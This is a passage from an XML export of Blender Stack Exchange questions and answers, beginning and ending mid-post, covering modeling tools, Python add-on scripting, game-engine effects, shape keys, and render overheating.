=&quot;Resize active object: &quot;+ obj.name)&#xA;&#xA;#————————————————————————————————————————————————————————————————————————————————#&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ProportionalDimensions)&#xA;    bpy.utils.register_class(ResizeProportional)&#xA;&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;    bpy.types.Object.my_global_axis = EnumProperty(&#xA;        name=&quot;Axis&quot;,&#xA;        description=&quot;Axis selection&quot;,&#xA;        items= [('x', &quot;X&quot;, &quot;&quot;),('y', &quot;Y&quot;, &quot;&quot;),('z', &quot;Z&quot;,&quot;&quot;)],&#xA;        default='x'&#xA;    )&#xA;&#xA;    bpy.types.Object.my_global_newdim = FloatProperty(&#xA;        name=&quot;Width&quot;,&#xA;        description=&quot;Scale&quot;,&#xA;        min=0.01, max=100.0,&#xA;        default=1,&#xA;    )&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ProportionalDimensions)&#xA;    bpy.utils.unregister_class(ResizeProportional)&#xA;&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;    del bpy.types.Object.axis&#xA;    del bpy.types.Object.newdim&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7461" LastActivityDate="2015-02-04T17:22:01.370" Title="How display and execute in the right context UI elements of operator in a panel?" Tags="&lt;python&gt;&lt;properties&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-02-04T18:47:27.250" ContentLicense="CC BY-SA 3.0" />
  <row Id="17758" PostTypeId="1" CreationDate="2014-10-13T14:17:00.990" Score="1" ViewCount="586" Body="&lt;p&gt;Inherit scale has to be set so that when I scale individual faces of parent mesh, the dupli objects are kept the same size as scaled faces of the parent mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kqZwl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In these screenshots, the parent mesh object has 3 differently scaled faces (orange) and the child object blue.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Left side:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inherit scale is 0.25 and it's too small, blue duplicates are much smaller than parent mesh object faces.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right side:&#xA;Inherit scale is 0.5 and it gives the desired result, blue dupli objects are exactly the same sizes as parent mesh object faces:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/98EDh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given any shape, how do I calculate the correct &lt;em&gt;inherit scale&lt;/em&gt; value to make the dupli objects the same size as the parent object's faces?&lt;/p&gt;&#xA;" OwnerUserId="7474" LastEditorUserId="599" LastEditDate="2014-10-15T20:56:26.530" LastActivityDate="2014-10-21T06:30:13.920" Title="How to make dupli objects the same size as parent object faces?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17759" PostTypeId="1" AcceptedAnswerId="17760" CreationDate="2014-10-13T15:18:31.267" Score="10" ViewCount="1683" Body="&lt;p&gt;I have a vertex based circle, and I want it to be a square. How do I accomplish that?&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="241" LastEditDate="2014-10-13T15:40:21.260" LastActivityDate="2014-10-16T13:49:46.087" Title="Is there an Equivalent to the tool &quot;To Sphere&quot; but to Cube?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17760" PostTypeId="2" ParentId="17759" CreationDate="2014-10-13T15:56:51.687" Score="13" Body="&lt;p&gt;There isn't a tool that works the same as 'To Sphere', but there is a &lt;em&gt;Cast modifier&lt;/em&gt; which can do the same job, as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zLVLA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorDisplayName="user1853" LastEditDate="2014-10-16T13:49:46.087" LastActivityDate="2014-10-16T13:49:46.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17761" PostTypeId="2" ParentId="17759" CreationDate="2014-10-13T15:57:24.943" Score="7" Body="&lt;p&gt;You could try the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Cast&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Cast Modifier&lt;/em&gt;&lt;/a&gt; here changing the shape of an UV-sphere:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7OgJU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or a circle to a quad:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cKCb2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-13T15:57:24.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17762" PostTypeId="1" AcceptedAnswerId="17764" CreationDate="2014-10-13T15:57:46.027" Score="3" ViewCount="422" Body="&lt;p&gt;Hi guys I have a path that generates a extrusion from a Bevel Object, but I need certain vertices with different bevel size. I tried to select the vertices, I can tilt them pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt;, but I cannot change the size of the generated bevel in that specific point.&lt;/p&gt;&#xA;" OwnerUserId="7475" LastEditorUserId="2217" LastEditDate="2014-10-13T16:45:32.993" LastActivityDate="2014-10-13T16:45:32.993" Title="Path Bevel With Different Thickness Along the Vertices" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-10-13T21:55:25.713" ContentLicense="CC BY-SA 3.0" />
  <row Id="17763" PostTypeId="1" CreationDate="2014-10-13T16:02:25.900" Score="4" ViewCount="5463" Body="&lt;p&gt;I've just begun using custom bone shapes and am finding it very tedious to have to align their location/rotation/scale to the bone after they've been assigned. Is there a quicker more precise way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="6402" LastActivityDate="2016-09-06T18:45:26.020" Title="Easier way to orient custom bone shapes?" Tags="&lt;bones&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17764" PostTypeId="2" ParentId="17762" CreationDate="2014-10-13T16:04:37.240" Score="3" Body="&lt;p&gt;You can use &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; to Shrink/Flatten a selected curve point while in edit mode for the curve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A84yV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This option is also available from the Toolshelf (&lt;kbd&gt;T&lt;/kbd&gt;)&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-10-13T16:04:37.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17765" PostTypeId="1" CreationDate="2014-10-13T16:05:14.667" Score="2" ViewCount="65" Body="&lt;p&gt;I am new to blender and I really love it. I have completed some tutorials from tutor4u on youtube. I have a HP Probook 4530s with a core i5 2430M CPU and the problem is that when rendering files the CPU temps reach about 99C or about 210F which It think is not good.I have tried limiting the threads to 1 but then one of the core heats up to 200F or 95C.&#xA;P.S. I am not sure if my computer has a graphics card. It does have Intel Integrated Graphics.&lt;/p&gt;&#xA;" OwnerUserId="7477" LastEditorUserId="7477" LastEditDate="2014-10-13T20:21:33.573" LastActivityDate="2014-10-13T20:21:33.573" Title="How to make the rendering process less resource consuming" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-10-13T18:35:08.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="17766" PostTypeId="2" ParentId="16394" CreationDate="2014-10-13T16:29:25.760" Score="2" Body="&lt;p&gt;We are doing the exact same thing, although my approach to the problem is slightly different.&#xA;Like you I created a second UV channel for the lightmap while handling the other materials on the first one. Once I unwrapped the object to the second UV channel I duplicate the entire object, remove all the materials from the clone and add a simple white material to it.&#xA;Then things start to get a bit complicated. Let's say there are several objects, for example a wall, a floor and a ceiling. When I bake the wall, I activate the clone of the wall, while hiding the original wall object. The original floor and ceiling objects stay active while their clones are hidden. This way you can retain the bounce light data that comes from the unchanged original objects.&#xA;It is basically the same procedure as having a second node tree in the materials except that you're switching on and off objects instead of node trees in every material on the scene.&#xA;I'm not sure if this is the smartest way to do it, but I don't have to bake several passes this way...&lt;/p&gt;&#xA;" OwnerUserId="7476" LastActivityDate="2014-10-13T16:29:25.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17767" PostTypeId="2" ParentId="8436" CreationDate="2014-10-13T16:33:03.017" Score="3" Body="&lt;p&gt;The first tool most physicists and medical imaging experts would reach for is VTK.  It's made just for this sort of thing.    Some example code: &lt;a href=&quot;http://itk.org/Wiki/ITK/Examples/IO/VolumeFromSlices&quot; rel=&quot;nofollow&quot;&gt;http://itk.org/Wiki/ITK/Examples/IO/VolumeFromSlices&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what about doing stuff like that in Blender?  The rule seems to be: just think of it, and someone out there has made a .py script already.  In this case, it's VTKBlender.py which converts between VTK's idea of a mesh and Blender's idea of a mesh.  &lt;a href=&quot;http://www.ualberta.ca/AICT/RESEARCH/Vis/VTKBlender/&quot; rel=&quot;nofollow&quot;&gt;http://www.ualberta.ca/AICT/RESEARCH/Vis/VTKBlender/&lt;/a&gt;   Note that this is a few years old, but that's normal in the science world.   VTK can be used easily in Python, so you can write your own scripts to perform any other VTK actions such as melding 2D slices into a 3D VTK mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach is to make a mesh from a point cloud. A point cloud could be defined from the 2D slices.  Read this discussion on the OpenCV Q&amp;amp;A forum &lt;a href=&quot;http://answers.opencv.org/question/2115/3d-models-from-2d-image-slices/&quot; rel=&quot;nofollow&quot;&gt;http://answers.opencv.org/question/2115/3d-models-from-2d-image-slices/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2014-10-13T16:33:03.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17768" PostTypeId="2" ParentId="16515" CreationDate="2014-10-13T16:50:05.977" Score="2" Body="&lt;p&gt;Isn't this simply how 'uv select sync' currently displays things rather than being a coding issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to do this would be to disable 'uv select sync' and change the 'Sticky select mode' to 'Disabled' in the Image Editor header, as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r7iEy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disadvantage is that the whole mesh will have to be selected to appear in the uv image editor. I'm not sure if this helps or not because I don't quite understand what you're looking to do, but thought I would add this information in case it does, seeing as you don't have any other answers.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-10-13T16:50:05.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17769" PostTypeId="1" AcceptedAnswerId="17785" CreationDate="2014-10-13T19:42:42.500" Score="3" ViewCount="397" Body="&lt;p&gt;I am working on a siding generator script and I have most of it done, but I am having some trouble with one of the features. You can use a plane as a template object, and the script gets its position and rotation and tries to figure out the smallest &quot;x&quot; and &quot;z&quot; values. That way it can place the siding object at that position. It has to use the smallest numbers because the siding builds to the right and up. Here is the &lt;a href=&quot;https://drive.google.com/file/d/0B35OsPAJ46kvVXNXWURRem9nU2c/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;.blend file&lt;/a&gt;, and here is the &lt;a href=&quot;https://drive.google.com/file/d/0B35OsPAJ46kvNnFtRmJSazcycVE/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;addon&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps to problem:&#xA;Install Addon &gt; Select Plane &gt; Add Siding &gt; Click &quot;From Object&quot;, note how position is correct. Delete Siding &gt; Rotate Plane 90 degree on z &gt; Add Siding, note how it is not at 0.0 on z&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: the lines in question begin around line 1564&lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="2617" LastEditDate="2014-10-13T21:22:29.497" LastActivityDate="2014-10-14T14:03:19.430" Title="Trouble with getting global vertex positions" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17770" PostTypeId="1" CreationDate="2014-10-13T20:27:44.070" Score="5" ViewCount="5668" Body="&lt;p&gt;I want to use the decimate modifier to make some LODs of a mesh, and this mesh has a very huge number of shapekeys which I must preserve.&#xA;I can't apply the decimate modifier with a mesh with shapekeys.&lt;/p&gt;&#xA;" OwnerUserId="7480" LastEditorUserId="2217" LastEditDate="2014-10-13T21:03:41.317" LastActivityDate="2021-01-13T10:21:04.653" Title="How to preserve shape keys with decimate modifier?" Tags="&lt;modifiers&gt;&lt;shape-keys&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17772" PostTypeId="2" ParentId="1666" CreationDate="2014-10-13T21:03:55.963" Score="2" Body="&lt;p&gt;Modern CPUs throttle (reduce clock frequency) when they get too hot. That means you loose performance that is the last thing you want if you payed for a processor. Besides that the lifetime might be shortened when permanently running overheated (&gt;65°)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should unmount the fan and remove any remaining thermal paste. Add new thermal  paste  and re-mount the fan, after that measure temperature while rendering (minimum 15 minutes). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the CPU gets still too hot, buy a bigger fan, and check that the case fans are able to transport the heat to the outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be also a tiny gap between your processor and the heat sink, you can see this when the thermal paste isn't decently distributed over the surface of both CPU and heat sink. In this case you should get another model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this HowTo: &lt;a href=&quot;http://www.wikihow.com/Apply-Thermal-Paste&quot; rel=&quot;nofollow&quot;&gt;http://www.wikihow.com/Apply-Thermal-Paste&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-10-13T21:18:03.263" LastActivityDate="2014-10-13T21:18:03.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17773" PostTypeId="2" ParentId="17770" CreationDate="2014-10-13T21:34:37.603" Score="3" Body="&lt;p&gt;What you want to do is not possible. Shapekeys require the geometry of a object, and modify it; However when a Decimate modifier is added, some vertices are &lt;em&gt;decimated&lt;/em&gt;, and just stop doing the general existing thing; Also, the vertex order &lt;em&gt;is&lt;/em&gt; modified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it like this: you have a list which stores the position a vertex, associated with an index, for each vertex; Imagine you are trying to define some specific info about the mesh, by referring to the vertices by their index, what would happen if suddenly one vertex was deleted and the following indexes where shifted in order to maintain continuity? You'd end up trying to refer to the wrong vertex, so it was removed altogether.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-10-13T21:34:37.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17774" PostTypeId="2" ParentId="16389" CreationDate="2014-10-13T21:41:06.293" Score="1" Body="&lt;p&gt;You should rotate the camera by 90 degree steps when you want to change the view. To avoid that the body blocks the view simply parent the camera to your character at the eye's, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7hjGu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the camera settings adjust the &lt;em&gt;Focal Length&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/InJjr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-10-13T21:41:06.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17775" PostTypeId="2" ParentId="17742" CreationDate="2014-10-13T22:35:26.280" Score="3" Body="&lt;p&gt;There is a circular dependency. The curve is parent of the armature, and the armature deforms the curve. Since Blender walks through the hierachy only once per frame update, the deformation lags behind. Clicking the frame twice leads to Blender walking the hierachy twice. The bones of the armature are already in place and the deformation happens. A solution is to avoid direct parent child relationships between those two and use a parent for both (e.g. an Empty) instead or to swap the relationship, so the armature is the parent of curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is Blenders terminal/console output:&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-none prettyprint-override&quot;&gt;&lt;code&gt;Dependency cycle detected:&#xA;  Hosearm depends on hose through Curve Parent.&#xA;  hose depends on Hosearm through Hook Modifier.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2014-10-13T22:35:26.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17776" PostTypeId="1" AcceptedAnswerId="17777" CreationDate="2014-10-13T23:19:35.753" Score="7" ViewCount="1654" Body="&lt;p&gt;I would like to make high pressure jets of flame for a character in the game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here is my question:&lt;/strong&gt;&#xA;&lt;em&gt;What would be/is the most time efficient manner to do this in since particles aren't available in 'Blender Game'.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;computer resources are no problem; I'd just like a good looking, timely way for flames.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="12" LastEditDate="2014-10-14T00:36:18.960" LastActivityDate="2015-04-11T17:53:18.790" Title="Is there another way besides particles to make fire in the game engine?" Tags="&lt;game-engine&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17777" PostTypeId="2" ParentId="17776" CreationDate="2014-10-13T23:39:42.940" Score="7" Body="&lt;p&gt;You can add a transparent animated plane.&#xA;First off, you must change the Shading from &lt;em&gt;Multitexture&lt;/em&gt; to &lt;em&gt;GSL&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it must be tiled and evenly spaced like the image below&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rkfH4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because there are four tiles you would check the animated button, and choose one tile along the Y and 4 along the X&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dnkdm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you also need to input a frames per second, and how many frames the animation should run for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/esL7V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file with working animated transparent plane&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/94/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=94&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-03-11T22:58:41.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17781" PostTypeId="2" ParentId="17776" CreationDate="2014-10-14T06:33:24.397" Score="3" Body="&lt;h3&gt;Not recommended for Blender &amp;gt; 2.71&lt;/h3&gt;&#xA;&lt;p&gt;There is a particle system addon &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?241656&quot; rel=&quot;nofollow noreferrer&quot;&gt;easyEmit&lt;/a&gt; for the BGE which produces nice results:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iJEpe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note: I tested it with 2.72 it throws exceptions due to changed API, it would need some update. There might be an update in the thread linked above. According to the posts it should still work in 2.71.&lt;/p&gt;&#xA;&lt;p&gt;Another one &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?204644-X-Emitter-V1-10-2-11-1-11-BGE-Particle-System-Bugfix&quot; rel=&quot;nofollow noreferrer&quot;&gt;X-Emitter&lt;/a&gt; I've not tested (might be outdated):&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-11T16:42:19.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17783" PostTypeId="2" ParentId="16612" CreationDate="2014-10-14T08:04:50.307" Score="2" Body="&lt;p&gt;You can simply program the projectile to stop tracking once it collides with the tracker. An easy way to do that is to have a collision sensor on the projectile trigger a state actuator on collision, which will transition into a state where the track-to actuator is not included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.blend: &lt;a href=&quot;http://www.pasteall.org/blend/32088&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/32088&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6355" LastActivityDate="2014-10-14T08:04:50.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17784" PostTypeId="2" ParentId="17769" CreationDate="2014-10-14T09:48:02.683" Score="2" Body="&lt;p&gt;A while back I created a script to create a &lt;a href=&quot;https://github.com/sambler/addonsByMe/blob/master/create_bound_box.py&quot; rel=&quot;nofollow&quot;&gt;bounding box&lt;/a&gt; around a selection of objects. To get the min and max values I used the following code -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minx, miny, minz = (999999.0,)*3&#xA;maxx, maxy, maxz = (-999999.0,)*3&#xA;for obj in context.selected_objects:&#xA;    for v in obj.bound_box:&#xA;        v_world = obj.matrix_world * mathutils.Vector((v[0],v[1],v[2]))&#xA;&#xA;        if v_world[0] &amp;lt; minx:&#xA;            minx = v_world[0]&#xA;        if v_world[0] &amp;gt; maxx:&#xA;            maxx = v_world[0]&#xA;&#xA;        if v_world[1] &amp;lt; miny:&#xA;            miny = v_world[1]&#xA;        if v_world[1] &amp;gt; maxy:&#xA;            maxy = v_world[1]&#xA;&#xA;        if v_world[2] &amp;lt; minz:&#xA;            minz = v_world[2]&#xA;        if v_world[2] &amp;gt; maxz:&#xA;            maxz = v_world[2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-10-14T09:48:02.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17785" PostTypeId="2" ParentId="17769" CreationDate="2014-10-14T14:03:19.430" Score="2" Body="&lt;p&gt;I figured it out, I had been praying about it and I had this thought that it might be that the &quot;y&quot; value was incorrect so when it was converted by matrix_world it was throwing it off. &#xA;It originally was this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       verts = [vert.co for vert in pattern.data.vertices] #get vertex data&#xA;            tup_verts = [vert.to_tuple() for vert in verts] #convert to tuples&#xA;            x = None; z = None&#xA;            for i in tup_verts: #find smallest x and z values&#xA;                if x == None: x = i[0]&#xA;                elif i[0] &amp;lt; x: x = i[0]&#xA;                if z == None: z = i[2]&#xA;                elif i[2] &amp;lt; z: z = i[2]&#xA;            pos = pattern.matrix_local * pattern.location    &#xA;            position = pattern.matrix_world * mathutils.Vector((x, tuple(pos)[1], z)) #get world space&#xA;            ob.location = tuple(position)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By changing it to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       verts = [vert.co for vert in pattern.data.vertices] #get vertex data&#xA;            tup_verts = [vert.to_tuple() for vert in verts] #convert to tuples&#xA;            x = None; z = None; y = None&#xA;            for i in tup_verts: #find smallest x and z values&#xA;                if x == None: x = i[0]&#xA;                elif i[0] &amp;lt; x: x = i[0]&#xA;                if z == None: z = i[2]&#xA;                elif i[2] &amp;lt; z: z = i[2]&#xA;                if y == None: y = i[1]&#xA;                elif i[1] &amp;lt; y: y = i[1]&#xA;            position = pattern.matrix_world * mathutils.Vector((x, y, z)) #get world space&#xA;            ob.location = tuple(position)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works! I added in the y value straight from local space instead of converting the objects.position by matrix_local just to get the &quot;y&quot; position then going back to matrix_world seems to have been the problem.&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-10-14T14:03:19.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17787" PostTypeId="1" AcceptedAnswerId="17807" CreationDate="2014-10-14T16:44:28.410" Score="11" ViewCount="1682" Body="&lt;p&gt;I want to make a scene of a missile flying over the ocean. Because I want the missile to be relatively high up, the ocean looks very repetitive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the ocean not look tiled without scaling up the object and making the waves smaller?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KyPoq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-06-08T19:31:05.727" LastActivityDate="2015-06-08T19:31:05.727" Title="avoiding a tiled looking ocean simulation" Tags="&lt;modifiers&gt;&lt;ocean-simulation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17788" PostTypeId="1" AcceptedAnswerId="17801" CreationDate="2014-10-14T17:01:42.160" Score="1" ViewCount="3395" Body="&lt;p&gt;I've got a highly-detailed mesh of curtains, similar to what you'd find on a stage. The mesh currently has eight objects/materials (1 material per object), but in reality it only needs two - the large middle curtain and the gathered curtains on each side. The two side curtains use the same texture, and the four objects comprising the middle curtain all use the same texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is merge the two side curtains into a single object (each side is currently 2 separate objects), then merge the middle curtain objects into a single object. After several google searches, I've found how to join objects but they're still appearing as separate objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to combine multiple objects into a single one? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a way to reduce the overall number of vertices and/or faces? The entire mesh currently has around 700k faces, and so far decimate can only get it down to around 350k before the mesh starts deforming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: Losing UVs isn't a big deal for me. Since we're only talking eight materials here, I can easily remap everything if I have to. My primary concern is that the exported mesh is as simple/optimized as possible while still looking good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: If it will help, here's a link to the 3DS file I started with: &lt;a href=&quot;http://archive3d.net/?a=download&amp;amp;id=c00ed703&quot; rel=&quot;nofollow&quot;&gt;Curtain Mesh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LINK: &lt;a href=&quot;http://mods.omegacron.com/blender/curtains01.blend&quot; rel=&quot;nofollow&quot;&gt;Here's a link to my blend file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1699" LastEditorUserId="1699" LastEditDate="2014-10-14T23:31:07.617" LastActivityDate="2014-10-15T02:02:48.810" Title="How to optimize a mesh by merging objects and/or reducing faces" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17789" PostTypeId="2" ParentId="17704" CreationDate="2014-10-14T17:09:07.153" Score="9" Body="&lt;p&gt;To increase the accuracy and smoothness of simulations it can sometimes be helpful to scale the time up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here a simple way of &lt;strong&gt;approximately&lt;/strong&gt; stretching the time by 10. For every &lt;strong&gt;Particlesystem&lt;/strong&gt; (3 in your example) multiply the &lt;strong&gt;End&lt;/strong&gt; and the &lt;strong&gt;Lifetime&lt;/strong&gt; of the emission by 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AEiJI.png&quot; alt=&quot;emission&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and divide the &lt;strong&gt;Timestep&lt;/strong&gt; of the physics by 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yBh62.png&quot; alt=&quot;timestep&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In render settings multiply the &lt;strong&gt;End Frame&lt;/strong&gt; and &lt;strong&gt;Frame Step&lt;/strong&gt; by the same amount (10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5we1p.png&quot; alt=&quot;render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And render the frames as images. For 